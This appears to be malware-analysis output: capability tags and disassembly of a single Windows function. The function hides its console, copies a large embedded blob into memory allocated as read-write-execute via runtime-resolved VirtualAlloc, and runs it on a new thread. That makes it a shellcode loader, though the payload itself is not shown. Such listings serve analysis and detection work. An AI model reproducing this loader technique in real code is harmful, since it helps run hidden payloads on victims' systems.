Function at 0x140001634
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0x190a0
call fcn.140003040
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, [rbp - 0x50]
lea rdx, section..data
mov ecx, 0x18fff
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov qword [rbp + 0x19018], 0x18fff
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x19010], rax
mov rax, qword [rbp + 0x19010]
lea rdx, str.GetCurrentThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x19008], rax
mov rax, qword [rbp + 0x19008]
mov qword [0x140027038], rax
mov rax, qword [0x140027038]
call rax
mov qword [rbp + 0x19000], rax
cmp qword [rbp + 0x19000], 0
jne 0x140001734
lea rax, str.ERROR::::::::FAILED_TO_GET_THREAD::::::::
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400247c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x18ffc], eax
mov eax, dword [rbp + 0x18ffc]
mov edx, eax
lea rax, [0x14002404a]
mov rcx, rax
call dbg.printf
jmp 0x14000175f
lea rax, str.:::::::::GOOD::::::::
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400247c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x18ff0], rax
mov rax, qword [rbp + 0x18ff0]
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18fe8], rax
mov rax, qword [rbp + 0x18fe8]
mov qword [rbp + 0x18fe0], rax
mov r10, qword [rbp + 0x18fe0]
mov rax, qword [rbp + 0x19018]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rbp + 0x18fd8], rax
cmp qword [rbp + 0x18fd8], 0
jne 0x14000181f
lea rax, str.ERROR::::::::UNABLE_TO_ALLOCATE::::::::::::
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x18fd4], eax
mov eax, dword [rbp + 0x18fd4]
mov edx, eax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::ostream::operator___int_
jmp 0x140001838
lea rax, str.:::::::::GOOD::::::::
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, qword [rbp + 0x19018]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x18fd8]
mov r8, rcx
mov rcx, rax
call sym.memmove
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x18fc8], rax
mov rax, qword [rbp + 0x18fc8]
lea rdx, str.CreateThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18fc0], rax
cmp qword [rbp + 0x18fc0], 0
jne 0x140001916
lea rax, str.ERROR:_Unable_to_get_the_address_of_CreateThread
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400247c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x18fb4], eax
lea rax, str.Error_code:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x18fb4]
mov edx, eax
call sym.std::ostream::operator___int_
mov rcx, rax
mov rax, qword [0x1400247c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x14000197c
mov rax, qword [rbp + 0x18fc0]
mov qword [0x140027040], rax
mov rax, qword [0x140027040]
mov rdx, qword [rbp + 0x18fd8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x18fb8], rax
mov rax, qword [rbp + 0x18fb8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x190a0
pop rbp
ret